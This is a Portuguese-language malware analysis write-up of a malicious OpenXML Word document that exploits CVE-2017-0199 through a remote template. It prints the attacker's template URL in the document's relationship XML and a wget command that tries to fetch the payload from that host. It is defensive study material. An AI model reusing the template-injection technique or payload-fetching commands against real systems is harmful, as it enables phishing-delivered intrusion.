0xPwnbuff3r

Malware Analysis (CVE-2017-0199 em Documento Word OpenXML)

Author: Maiquel "Pa1va"
CVE's: CVE-2017-0199, CVE-2017-11882

Introducao

Este paper descreve a análise de um documento malicioso (.doc) identificado como explorando a vulnerabilidade CVE-2017-0199. A investigação envolveu inspeção de cabeçalhos de arquivo, análise de macros, extração do conteúdo do OpenXML e investigação de links externos que indicam carregamento remoto de payloads.


1. Identificação do Arquivo

O primeiro passo foi determinar o tipo de arquivo:

file massachusetts-wolfram-emma-august.doc

Resultado:

Microsoft Word 2007+

Em seguida, os primeiros bytes do arquivo foram examinados:

xxd -l 32 massachusetts-wolfram-emma-august.doc

Saída:

504b 0304 ... PK........
  • Observação: o header PK indica que o arquivo é baseado em ZIP, ou seja, um OpenXML (.docx) mesmo com extensão .doc.

2. Verificação de Macros

Utilizando olevba para inspecionar a presença de macros VBA ou XLM:

olevba massachusetts-wolfram-emma-august.doc

Resultado:

No VBA or XLM macros found.
Type: OpenXML
  • Nenhuma macro foi detectada, o que reforça a necessidade de investigar outros vetores de exploração, como templates remotos (CVE-2017-0199).

Observe o resultado de outro sample parecido:

+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |Document_open       |Runs when the Word or Publisher document is  |
|          |                    |opened                                       |
|Suspicious|Create              |May execute file or a system command through |
|          |                    |WMI                                          |
|Suspicious|showwindow          |May hide the application                     |
|Suspicious|GetObject           |May get an OLE object with a running instance|
|Suspicious|ChrW                |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Suspicious|Base64 Strings      |Base64-encoded strings were detected, may be |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
+----------+--------------------+---------------------------------------------+

Meu amigo pegou esse outro sample, que é relacionado ao que estamos analisando neste paper, e neste sample possível inspecionar as macros. Observando o código, nota-se um alto nível de ofuscação. Durante a investigação, percebi que o macro malicioso executa instâncias do winword.exe na máquina da vítima e também realiza process injection em um processo legítimo do Windows.


3. Extração do Conteúdo OpenXML

Como o arquivo é um ZIP, ele foi extraído para inspeção manual:

unzip massachusetts-wolfram-emma-august.doc -d docx_extract

Arquivos extraídos incluem:

  • word/document.xml — conteúdo principal do documento.
  • word/_rels/document.xml.rels — referências a objetos e links externos.
  • word/_rels/settings.xml.rels — configurações do documento, incluindo templates externos.
  • word/media/ — imagens incorporadas.

Foi realizada busca por URLs e referências a scripts remotos:

grep -RiE "http|\.hta" docx_extract

Resultado crítico:

<Relationship Id="rId1"
 Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
 Target="https://veryniceworkingwithbestfuturecareerofferingforgoodpeopleswhoiloversaround.doTX@go.silpo.ua/Fpp96T"
 TargetMode="External"/>
  • Indicação de template remoto, vetor principal da exploração CVE-2017-0199.
  • Ao abrir o documento, o Office tentaria carregar o template remoto, normalmente um .hta que baixaria o payload final.

5. Tentativa de Recuperar Payload

Foi tentado o download do payload indicado pelo template remoto:

wget --no-check-certificate -O payload.hta "https://veryniceworkingwithbestfuturecareerofferingforgoodpeopleswhoiloversaround.doTX@go.silpo.ua/Fpp96T"

Resultado:

  • O servidor redirecionou para outro endereço (HTTP 302), mas o download falhou (Connection refused).
  • Isso indica que os hosts do atacante provavelmente foram desativados ou removidos após a detecção.

6. MITRE ATT&CK Mapping para o documento malicioso CVE-2017-0199

Categoria ATT&CK Tática Técnica Evidência na análise

Initial Access TA0001 – Initial Access T1193 – Spearphishing Attachment O documento Word foi enviado como anexo malicioso, visando que a vítima abra e ative a exploração.

Execution TA0002 – Execution T1204.002 – User Execution: Malicious File A exploração CVE-2017-0199 exige que o usuário abra o documento, que então baixa o template remoto (HTA).

Execution TA0002 – Execution T1059.005 – Command and Scripting Interpreter: HTML/HTA O template remoto baixado normalmente é um .hta, que executa código malicioso em Windows Script Host.

Persistence TA0003 – Persistence T1547.001 – Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (potencial) Muitos payloads entregues via HTA configuram persistência, embora neste caso o payload não tenha sido obtido.

Defense Evasion TA0005 – Defense Evasion T1027 – Obfuscated Files or Information O malware disfarça o documento como .doc clássico, mas é um OpenXML (.docx).

Command and Control TA0011 – Command and Control T1071.001 – Application Layer Protocol: Web Protocols O documento tenta baixar um payload remoto via HTTP/HTTPS.


7. Conclusão

  • O documento analisado é um OpenXML (.docx disfarçado como .doc).

  • Não contém macros, mas explora template remoto, vetor associado ao CVE-2017-0199.

  • Ferramentas utilizadas:

    • file e xxd — identificação de tipo de arquivo e inspeção de header.
    • olevba — detecção de macros.
    • unzip — extração do conteúdo OpenXML.
    • grep — pesquisa de URLs e objetos suspeitos.
    • wget — tentativa de recuperação do payload remoto.

Apesar de não ter sido possível baixar o payload final, a análise confirma que o documento é malicioso. Fiquei muito triste por essa analise terminar assim, mas da próxima, eu pego eles xD! Virus Total: https://www.virustotal.com/gui/url/00a591730cf2b1df1f689c2867650f69b609e58ea7d2ec77d5240dbafc49835f

1

thx for reading <3

  • @Pa1va
← Voltar para a página principal